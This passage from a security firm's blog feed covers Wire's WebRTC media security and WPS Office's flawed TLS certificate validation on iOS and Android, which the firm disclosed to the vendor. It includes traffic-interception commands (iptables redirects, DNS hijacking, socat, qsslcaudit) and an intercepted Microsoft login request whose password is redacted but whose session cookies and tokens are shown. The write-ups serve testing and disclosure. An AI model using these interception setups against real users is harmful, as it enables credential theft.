Flow Analysis</h3> <p>As was briefly mentioned previously, STUN protocol is used to negotiate peers. We have to parse the protocol in runtime and extract them. For this purpose we developed a <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/stunpeersniff">stunpeersniff</a> tool. This tool searches for <code>XOR-PEER-ADDRESS</code> attribute and launches UDP demultiplexor with the corresponding parameters. This UDP demux tool was described earlier: it searches for DTLS packets and forwards them to our DTLS server instance.</p> <p>We forwarded STUN traffic, that was sent by <code>app1</code>, towards our TCP proxy with the following <code>iptables</code> command:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo iptables -t nat -A PREROUTING -p tcp --dport 3478 -s 192.168.12.0/24 -d 116.203.131.31 -i wlan0 -j DNAT --to-destination 127.0.0.1:6000</div></div> <p><code>iptables</code> command to forward DTLS-SRTP traffic to UDP demultiplexor:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ sudo iptables -t nat -A PREROUTING -p udp --dport 10000:65535 -s 192.168.12.118 -d 192.168.0.221 -i wlan0 -j DNAT --to-destination 127.0.0.1:6001</div></div> <p>STUN proxy command:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">$ stunpeersniff -H 116.203.131.31 -P 3478 -h 127.0.0.1 -p 6000 -t dtls-srtp-demux</div></div> <p>This setup intercepted the communications we need and forwarded DTLS handshake to our DTLS server.</p> <p>DTLS server received <code>Alert (Bad Certificate)</code> DTLS error immediately after providing certificate. This confirms that the remote party (another mobile client in our case) validates DTLS certificate. It is a more robust behaviour than we observed with Twilio: DTLS handshake does not reach the point to derive SRTP encryption keys.</p> <p>We noted that if we redirect DTLS handshake into nowhere, the call establishes successfully and both parties can talk. The captured traffic reveals that SRTP data is transmitted using a TURN channel. This traffic goes between the mobile application and remote TURN server. To decode it with Wireshark we followed this <a rel="noopener noreferrer" target="_blank" href="https://ask.wireshark.org/question/3204/decode-turn-traffic-as-rtp/">advice</a>.</p> <p>You can see the result in the following illustration:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/wire_srtp_inside_turn.png" alt="img" /></p> <p>We tried to identify how (<sub>if</sub>_) DTLS handshake is now established. Apparently, the corresponding data is transmitted inside TURN channel in this case. You can see this in the following screenshot from Wireshark. The certificate presence is revealed by <code>WebRTC</code> common name string and expiration date <code>200418</code> encoded as a string:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/wire_dtls_inside_turn.png" alt="img" /></p> <p>This data exchange continues using TURN channel data messages:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/wire_dtls_inside_channeldata.png" alt="img" /></p> <p>Wire application is based on <a rel="noopener noreferrer" target="_blank" href="https://github.com/wireapp/wire-audio-video-signaling.git">Wire signaling library</a> in terms of media communications. This library uses <a rel="noopener noreferrer" target="_blank" href="https://webrtc.googlesource.com/src">Google's WebRTC reference implementation</a> to handle the communications we observed.</p> <p>WebRTC library implements a single module that handles DTLS handshake and fingerprint verification (<code>p2p/base/dtlstransport.cc</code>). The DTLS transport implementation does not depend on a particular communication channel and is fed with data by the rest of the library. This allows us to assume that the single DTLS validation test we performed earlier is enough to be sure that parties are properly verified in other cases too.</p> <p>We also tried to figure out how signalling data is transmitted. WebRTC standard does not explicitly define how this should be implemented. According to <code>src/econn/README.md</code> file of the AVS Wire library source code, SDP data is sent as <code>SETUP</code> message via <code>Backend</code>. <code>Backend</code> in this case can be arbitrary communication channel. Mobile clients receive remote signalling via WebSockets protocol which transmits end-to-end encrypted messages. In upstream direction encrypted messages are sent as POST requests to <code>prod-nginz-https.wire.com</code>. WebSockets message example:</p> <div class="geshifilter"><div class="javascript geshifilter-javascript" style="font-family:monospace;"><span style="color: #009900;">&#123;</span><br /> &nbsp; <span style="color: #3366CC;">&quot;payload&quot;</span><span style="color: #339933;">:</span> <span style="color: #009900;">&#91;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;conversation&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;fd2c8985-cb03-4a0c-9291-513a02355693&quot;</span><span style="color: #339933;">,</span><br /> &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;time&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;2020-03-19T14:22:01.638Z&quot;</span><span style="color: #339933;">,</span><br /> &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;data&quot;</span><span style="color: #339933;">:</span> <span style="color: #009900;">&#123;</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;text&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;owABAaEAWCAFs5h5Cft0kXBPKdIWvtlIbuNUuU7vNLeO23zzAGM7ngJZDMYBp ... nNab4HfDHOZZVDNXDu+ymAmpsuKSW7Q=&quot;</span><span style="color: #339933;">,</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;sender&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;cbc19847050b5b9d&quot;</span><span style="color: #339933;">,</span><br /> &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;recipient&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;141e979399699446&quot;</span><br /> &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><br /> &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;from&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;4707e7e4-25a4-4afe-ad4d-13eb565b7fab&quot;</span><span style="color: #339933;">,</span><br /> &nbsp; &nbsp; &nbsp; <span style="color: #3366CC;">&quot;type&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;conversation.otr-message-add&quot;</span><br /> &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br /> &nbsp; <span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><br /> &nbsp; <span style="color: #3366CC;">&quot;transient&quot;</span><span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">,</span><br /> &nbsp; <span style="color: #3366CC;">&quot;id&quot;</span><span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;0000aaa8-69ed-11ea-8075-22000a23ecad&quot;</span><br /> <span style="color: #009900;">&#125;</span></div></div> <p>According to <code>src/peerflow/peerflow.cpp</code> source of AVS Wire library, some messages use <a rel="noopener noreferrer" target="_blank" href="https://w3c.github.io/webrtc-pc/#rtcdatachannel">WebRTC data channel</a>. Data channel interface is defined in WebRTC's <code>api/datachannelinterface.{hh,cc}</code>. It is encapsulated in SCTP protocol which goes inside DTLS channel and which is transmitted over STUN/TURN messages.</p> <h3><a id="user-content-conclusion-1" href="#conclusion-1" name="conclusion-1" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> <p>Working with <a rel="noopener noreferrer" target="_blank" href="https://wire.com">Wire</a> allowed us to observe some WebRTC internals. Compared to Twilio platform, Wire uses vanilla WebRTC approach to establish peer-to-peer multimedia communications. Due to its open source nature we were able to check our observations against the implementation.</p> <p>Overall security of media data transmitted by Wire mobile application follows WebRTC guidelines:</p> <ul> <li>RTP media data is secured as SRTP.</li> <li>Keys for SRTP are derived by DTLS handshake.</li> <li>DTLS handshake fails if peer fingerprint does not match the announced one.</li> <li>Peer fingerprint is transmitted as end-to-end encrypted data inside WebSocket, secured with TLS.</li> <li>Critical TLS servers certificates are properly validated by Android client.</li> </ul> <p>In order to intercept Wire media traffic the same tools and firewall configuration is needed as with Twilio case. Additionally, we wrote a STUN sniffer tool <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/stunpeersniff">stunpeersniff</a> which is required to determine peers on the fly and configure DTLS-SRTP proxy accordingly.</p></div> <span><span lang="" about="/user/347" typeof="schema:Person" property="schema:name" datatype="">pavel</span></span> <span>Thu, 03/26/2020 - 17:32</span> Thu, 26 Mar 2020 16:32:53 +0000 pavel 954 at https://www.gremwell.com Introducing Qsslcauditproxy https://www.gremwell.com/blog/introducing-qsslcauditproxy <span>Introducing Qsslcauditproxy</span> <div><p>The Qsslcaudit tool developed by my colleague Pavel provides an easy way for testing a client SSL implementation. To make testing of multiple connections even more straightforward, I created a proxy wrapper for this tool. </p> <p><b>How it works</b></p> <p>The user configures qsslcauditproxy as a proxy server on the device under test, for example a mobile device.</p> <p>The script will then act as a non-intercepting proxy for all SSL traffic. For each new host it will redirect the SSL stream to an instance of qsslcaudit, so that the client connection can be tested. HTTP connections will just be forwarded to the intended host.</p> <p><img src="/sites/default/files/qsslcauditproxy_intercept.png" width="96%" height="96%" /></p> <p>Once connection establishment to a specific host has been fully tested, the SSL traffic is sent to the intended target. This will make the affected functionality operational again and user can proceed with testing further flows.</p> <p><img src="/sites/default/files/qsslcauditproxy_no_intercept.png" width="96%" height="96%" /></p> <p>The tool uses curses to provide dynamic output. This gives a nice overview of the different connections test status. It is also really convenient for a tester to see which actions in the app trigger an outgoing connection.</p> <p><b>Practical example against WPS Office for iOS</b></p> <p>As a practical example, we tested this against the latest version of WPS Office for iOS (10.6.0). Pavel has demonstrated issues with the Android app in his blog post <a href="blog/wps-office-case">Client-side TLS implementation assessment with qsslcaudit - The WPS Office case</a>.</p> <p>We will use qsslcauditproxy to easily test connections to multiple hosts consumed by this application.</p> <p>We first configured our proxy on the iOS device. We then fired up qsslcauditproxy with the following command:</p> <div class="geshifilter"> <pre class="text geshifilter-text" style="font-family:monospace;"> #python3 qsslcauditproxy.py --blacklist blacklist --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs </pre></div> <p>We then opened the WPS Office application on our device and interacted with all functionality. We could track the qsslcaudit test progress via the output of the proxy script. We configured a blacklist file so that connections related to the OS were not tested.</p> <p><img src="https://www.gremwell.com/sites/default/files/screenshot-proxy-ios.png" /></p> <p>After testing all connections, we stopped the script and looked at the results. The results for each host are stored in a .txt file with the output. </p> <div class="geshifilter"> <pre class="text geshifilter-text" style="font-family:monospace;"> root@kali:~/# grep mitm *.txt logincdn.msauth.net.txt:| 1 | custom certificate trust | FAILED !!! | mitm possible | login.live.com.txt:| 1 | custom certificate trust | FAILED !!! | mitm possible </pre></div> <p>A quick check shows that no certificate validation is done for the following hosts:</p> <ul><li>login.live.com</li> <li>logincdn.msauth.net</li> </ul><p>These hosts are used as part of the “Cloud - Onedrive” functionality that allows users to login to Onedrive with Microsoft credentials.</p> <p>The following is detailed output that was logged by the qsslcaudit instance, which shows data intercepted when connecting to login.live.com.</p> <div class="geshifilter"> <pre class="text geshifilter-text" style="font-family:monospace;"> running test #1: certificate trust test with user-supplied certificate listening on 0.0.0.0:8450 connection from: 127.0.0.1:51674 SSL connection established received data: GET /oauth20_authorize.srf?client_id=00000000480F074F&amp;scope=onedrive.readwrite&amp;redirect_uri=https://login.live.com/oauth20_desktop.srf&amp;display=ios_phone&amp;response_type=code HTTP/1.1 Host: login.live.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 </pre></div> <p>This is the start of the oAuth flow as described <a href="https://docs.microsoft.com/en-us/onedrive/developer/rest-api/getting-started/msa-oauth?view=odsp-graph-online">here</a>.</p> <p>We used Burp to intercept the entire flow which confirmed that the Onedrive credentials were submitted via this connection. </p> <div class="geshifilter"> <pre class="text geshifilter-text" style="font-family:monospace;"> POST /ppsecure/post.srf?client_id=00000000480F074F&amp;scope=onedrive.readwrite&amp;redirect_uri=https://login.live.com/oauth20_desktop.srf&amp;display=ios_phone&amp;response_type=code&amp;contextid=0839C321FF5E086E&amp;bk=1583930585&amp;uaid=f0782fda2305430caf156cff32d1ac02&amp;pid=15216 HTTP/1.1 Host: login.live.com Content-Type: application/x-www-form-urlencoded Origin: https://login.live.com Cookie: wlidperf=FR=L&amp;ST=1583930727671; MSPOK=$uuid-3f374112-2fea-44b5-8dd8-7623df786237$uuid-d2e2f676-f140-493b-9763-d11d614f01aa$uuid-74502d48-33c1-4275-889d-26f825eef438; MSPRequ=id=N&amp;lt=1583930585&amp;co=1; OParams=11DfEKBqYgtbToYPr0tnbgt7fweLsQdPDnkF1KoVqQoYc9k6kTLygsyzNKZy03nyf9Kx1Ojsz2g9qJJ2pzrCPtsDRBrnxDudaNBH60iHu2Nz1FnSJ49DMuB4Ezc5PYQRXRepOQrSDL3NY9waoW1pZ7jB8EUukccWfRtymVHWzyTX1AZEsmkGYhZyULeunhWFkVXbX5wOlGgOaYj3aXusG*5whMz8BtXzaRE8kGBmKlO6kB7fonvzgeiiSoeNV7*9thlY*3FzrIBXW7S4Wux2BvTCTe9D9u3HuDT9SXehTeCNy34ChJxOnMNQQGRB55THqcv6kH5!CDf*ctnq8xUDsHcf9RtkcviDPUnaF8zy7z1Navq1GKdj!qx9YMWg4lb65XP3vupej0VMww1vf1S5SVPts2Cql*xcrk7TBhuOuNt3SAMaoI0BKMD3UmXtjqmayhMw$$; uaid=f0782fda2305430caf156cff32d1ac02 Content-Length: 615 Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Referer: https://login.live.com/oauth20_authorize.srf?client_id=00000000480F074F&amp;scope=onedrive.readwrite&amp;redirect_uri=https://login.live.com/oauth20_desktop.srf&amp;display=ios_phone&amp;response_type=code Accept-Language: en-us Accept-Encoding: gzip, deflate i13=1&amp;login=<mark>[redacted]%40outlook.com</mark>&amp;loginfmt=<mark>[redacted]%40outlook.com</mark>&amp;type=11&amp;LoginOptions=1&amp;lrt=&amp;lrtPartition=&amp;hisRegion=&amp;hisScaleUnit=<mark>&amp;passwd=[redactedpass]</mark>&amp;ps=2&amp;psRNGCDefaultType=&amp;psRNGCEntropy=&amp;psRNGCSLK=&amp;canary=&amp;ctx=&amp;hpgrequestid=&amp;PPFT=DdQTIiJG*70c9R9*2Hm*GQXec8sRDjZFMvkaLdBf0J2ByJryOaNpaXn1P91VApsv1DbvPgzgqVg%21YGFnLX*Y4vY7nmUCWTuLPJgI3K8vi5kLAYP3IDjI9iAi1%21oWFrk40tvtatKPP4*%21i0L7ev81nCsQZst4a0tvPf7h%21qB1m042mUgXsc7bGeLWeVe0cb4nZPKf*K32z5J87Yx2Wqw8TLw%24&amp;PPSX=P&amp;NewUser=1&amp;FoundMSAs=&amp;fspost=0&amp;i21=0&amp;CookieDisclosure=0&amp;IsFidoSupported=0&amp;isSignupPost=0&amp;i2=39&amp;i17=0&amp;i18=&amp;i19=122883 </pre></div> <p>During testing we noted that this bug was not 100% reproducible, in some cases proper certificate validation was done for connections to this host. If you want to try to reproduce these results, you may have to launch the test a second time.</p> <p><b>Timeline:</b></p> <ul><li>11 March 2020: Reported to KingSoft via <a href="mailto:wps_security@kingsoft.com">wps_security@kingsoft.com</a></li> <li>11 March 2020: Received email reply with invite to private Hackerone program</li> <li>11 March 2020: The private Hackerone program states the following “Kingsoft Office is taking a break and is not accepting new submissions.”</li> <li>18 March 2020: Public disclosure via this blog post</li> </ul><p><b>Disclaimer</b></p> <p>Users of Qsslcauditproxy should be aware that not all client applications will honor the proxy configuration of the OS. We recommend to always perform traffic analysis when testing client applications to get an overview of all outgoing connections.</p> <p>Qsslcauditproxy is available for download at <a href="https://github.com/gremwell/qsslcauditproxy">https://github.com/gremwell/qsslcauditproxy</a>. It requires qsslcaudit (<a href="https://github.com/gremwell/qsslcaudit">https://github.com/gremwell/qsslcaudit</a>).</p> </div> <span><span lang="" about="/user/422" typeof="schema:Person" property="schema:name" datatype="">sean</span></span> <span>Wed, 03/18/2020 - 11:14</span> Wed, 18 Mar 2020 10:14:50 +0000 sean 953 at https://www.gremwell.com Client-side TLS implementation assessment with qsslcaudit - The WPS Office case https://www.gremwell.com/blog/wps-office-case <span>Client-side TLS implementation assessment with qsslcaudit - The WPS Office case</span> <div><h1><a id="user-content-preface" href="#preface" name="preface" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preface</h1> <p>In this post we demonstrate how to use our tool to assess client-side TLS implementation: <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a>. <code>qsslcaudit</code> helps determine if a TLS client (mobile application, standalone application, web service) properly validates server's certificate and if only secure protocols are supported. Issues in TLS implementation can be abused by attackers to intercept victim's traffic: extract sensitive information, alter client's requests or server's responses and so on.</p> <p>Basic information on how to use the tool can be found in its <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit/blob/master/README.md">README</a> file. However, we believe that the best demo is real-world test scenario against existing and widely used application. For this demo, we chose to target <a rel="noopener noreferrer" target="_blank" href="https://play.google.com/store/apps/details?id=cn.wps.moffice_eng">KingSoft WPS Office Android mobile application</a>.</p> <p>The issues described here are still not fixed at the time of this writing. We reported them to KingSoft via HackerOne, issues were confirmed but not fixed. Then we reported them to Google, got a reply that this is a known problem as it was reported earlier. Given that Kingsoft developers are aware of it but chose not to fix it, and that Google and some bug bounty hunters also know about this issue, we decided to report it publicly. At least WPS Office users (**over 1.3 billion users** per Google Play Store estimates) will be aware of the risks of using it.</p> <p>Timeline:</p> <ul> <li>27 September 2019. Reported to KingSoft via HackerOne.</li> <li>30 September 2019. KingSoft triaged the issue with comment: <code>Confirmed to be fixed. SSL implementation</code>.</li> <li>22 December 2019. Added reminder that the issues are still not fixed.</li> <li>27 January 2020. Reported to Google via HackerOne Google Play Security Reward Program.</li> <li>28 January 2020. Google replied that the report is being reviewed.</li> <li>3 February 2020. Google closed the report as duplicate.</li> </ul> <h1><a id="user-content-testing-for-client-side-tls-implementation-flaws" href="#testing-for-client-side-tls-implementation-flaws" name="testing-for-client-side-tls-implementation-flaws" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Testing for client-side TLS implementation flaws</h1> <p>Here we describe the approach we follow when testing mobile applications regarding security of the connections they make to upstream servers.</p> <h2><a id="user-content-setup" href="#setup" name="setup" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setup</h2> <p>We installed WPS Office application from the Play Store. The application version was 12.3.5: [geshifilter-]adb shell dumpsys package cn.wps.moffice_eng | grep -B1 versionName versionCode=352 targetSdk=28 versionName=12.3.5[/geshifilter-]</p> <h2><a id="user-content-traffic-analysis" href="#traffic-analysis" name="traffic-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Traffic analysis</h2> <p>We configure our test laptop as WiFi access point for the mobile device running the application. We start capturing the traffic on wireless interface, launch the application and use all available features.</p> <p>The idea of this exercise is to determine when the application establishes unencrypted connections or emits unusual type of traffic. If unencrypted communications have been found we investigate them separately. This is not discussed in this post.</p> <p>WPS Office is quite talkative and establishes a large number of connections to various servers. We did not identify non-standard protocols, however, there were plenty of clear-text HTTP connections observed. For instance, the one that sends information about the device and application version:</p> <p><img src="https://www.gremwell.com/sites/default/files/wpsoffice-blogpost_01.png" alt="clear-text traffic" /></p> <p>This is a separate issue to investigate, the objective here is to practice our client-side TLS implementation assessment skills. Let's write down the list of HTTPS servers the application connects to:</p> <ul> <li>dw-online.ksosoft.com</li> <li>shuc-android.ksord.com</li> <li>plugin-server.wps.com</li> <li>movip.wps.com</li> <li>graph.facebook.com</li> <li>service-api.kingsoft-office-service.com</li> <li>cloudservice14.kingsoft-office-service.com</li> <li>store.wps.com</li> <li>abroad-ad.kingsoft-office-service.com</li> <li>firstpage.kingsoft-office-service.com</li> <li>api-ad-adapter.wps.com</li> <li>activity.wps.com</li> <li>shuc-js.ksord.com</li> <li>web.mo.wpscdn.cn</li> <li>drive.wps.com</li> <li>account.wps.com</li> <li>androidweb.wps.com</li> </ul> <p>As can be seen there are a plenty of hosts in this list and it's not even complete. So in order to keep this blog post short and readable, we will only assess a subset of the application's functionality.</p> <p>On fresh start WPS Office application displays the privacy policy agreement screen with the only option to agree with it. Once you agreed, the next screen allows you to &quot;Start WPS Office&quot; or &quot;Login in WPS Office&quot; (if you slide right). Login function is interesting. If you select it the application displays various ways of logging in, along with a &quot;Sign up&quot; link. Clicking &quot;Sign up&quot; opens a screen which allows you to create an account in &quot;WPS Services&quot;.</p> <p>Let's focus on the account creation flow.</p> <h2><a id="user-content-client-side-tls-implementation" href="#client-side-tls-implementation" name="client-side-tls-implementation" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Client-side TLS implementation</h2> <p>In order to perform the assessment of client-side TLS implementation we need to redirect connections made by the client towards our software. This can be done in several ways which are higly dependent on your setup.</p> <p>This time we chose to alter the DNS responses. The reason is that the target systems have several alternating IP addresses which could change. By altering the DNS response we can be sure that the application will connect to our listener.</p> <p>We used <a rel="noopener noreferrer" target="_blank" href="https://github.com/oblique/create_ap.git">create_ap</a> to setup a WiFi access point. Its command line option <code>-d</code> tells DNS server (dnsmasq) to take into account <code>/etc/hosts</code> file. Thus, we can simply add the entries we want into <code>/etc/hosts</code>. For instance, if we want to catch connections made towards <code>dw-online.ksosoft.com</code> we add the following entry:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">192.168.12.1 dw-online.ksosoft.com</div></div> Where `192.168.12.1` is the default IP address assigned to our wireless interface by `create_ap`. <p>We then launch <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/qsslcaudit">qsslcaudit</a> with proper set of options:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com</div></div> <p>Let's explain each parameter used:</p> <ul> <li> <code>-l 0.0.0.0</code> listen on all interfaces as the connections come from the outside (we can specify the IP of wireless interface here as well).</li> <li> <code>-p 443</code> listen on 443 port as we used <code>/etc/hosts</code> approach and the connection will be made to the original TCP port. This also requires to run <code>qsslcaudit</code> with superuser privileges.</li> <li> <code>--user-cert subdomain.gremwell.com+chain.pem --user-key subdomain.gremwell.com.key</code> the certificate here is the perfectly valid certificate issued by a trusted certificate authority to <code>subdomain.gremwell.com</code> hostname. In one of the tests the tool will present this certificate. Despite the fact that the certificate is valid the client has to refuse to connect to it as it is issued to another common name. Without providing such certificate the tool will just omit the corresponding test and will present self-signed certificates only.</li> <li> <code>--user-cn dw-online.ksosoft.com</code> the tool will issue self-signed certificates for &quot;dw-online.ksosoft.com&quot; common name. This way we can test if the client trusts any certificate with a valid common name.</li> <li> <code>--selected-tests certs</code> limit to certificate validation tests only. We skip protocols support test just to keep our post short.</li> </ul> <p>A bit more on <code>qsslcaudit</code> usage. Remember that we are testing client-side implementation, each separate test requires a new connection made by the client. Thus, we need to trigger such connections ourselves explicitly by pressing buttons/clicking links or just waiting for the client to retry connection.</p> <p>We are almost ready to launch the test. In this case there is another caveat: the application uses HTTP service of <code>dw-online.ksosoft.com</code> too. We are not really interested for now in the traffic interception and investigation, but in order to keep the application logic fine, we have to properly handle this connection. The easiest way is to use <code>socat</code> to forward traffic received on port TCP/80 to the legitimate server, like this:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo socat TCP4-LISTEN:80,fork,reuseaddr TCP4:18.185.165.181:80</div></div> <h3><a id="user-content-dw-onlineksosoftcom" href="#dw-onlineksosoftcom" name="dw-onlineksosoftcom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>dw-online.ksosoft.com</h3> <p><code>qsslcaudit</code> produced the following output:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">sudo qsslcaudit -l 0.0.0.0 -p 443 --user-cert subdomain.gremwell.com_cert+chain.pem --user-key subdomain.gremwell.com.key --selected-tests certs --user-cn dw-online.ksosoft.com<br /> preparing selected tests...<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate<br /> &nbsp; &nbsp; &nbsp; &nbsp; CVE-2020-0601: no CA certificate provided<br /> &nbsp; &nbsp; &nbsp; &nbsp; skipping test: test for trusting certificate signed by private key with custom curve<br /> <br /> SSL library used: OpenSSL 1.0.2u &nbsp;20 Dec 2019<br /> <br /> running test #1: certificate trust test with user-supplied certificate<br /> listening on 0.0.0.0:443<br /> connection from: 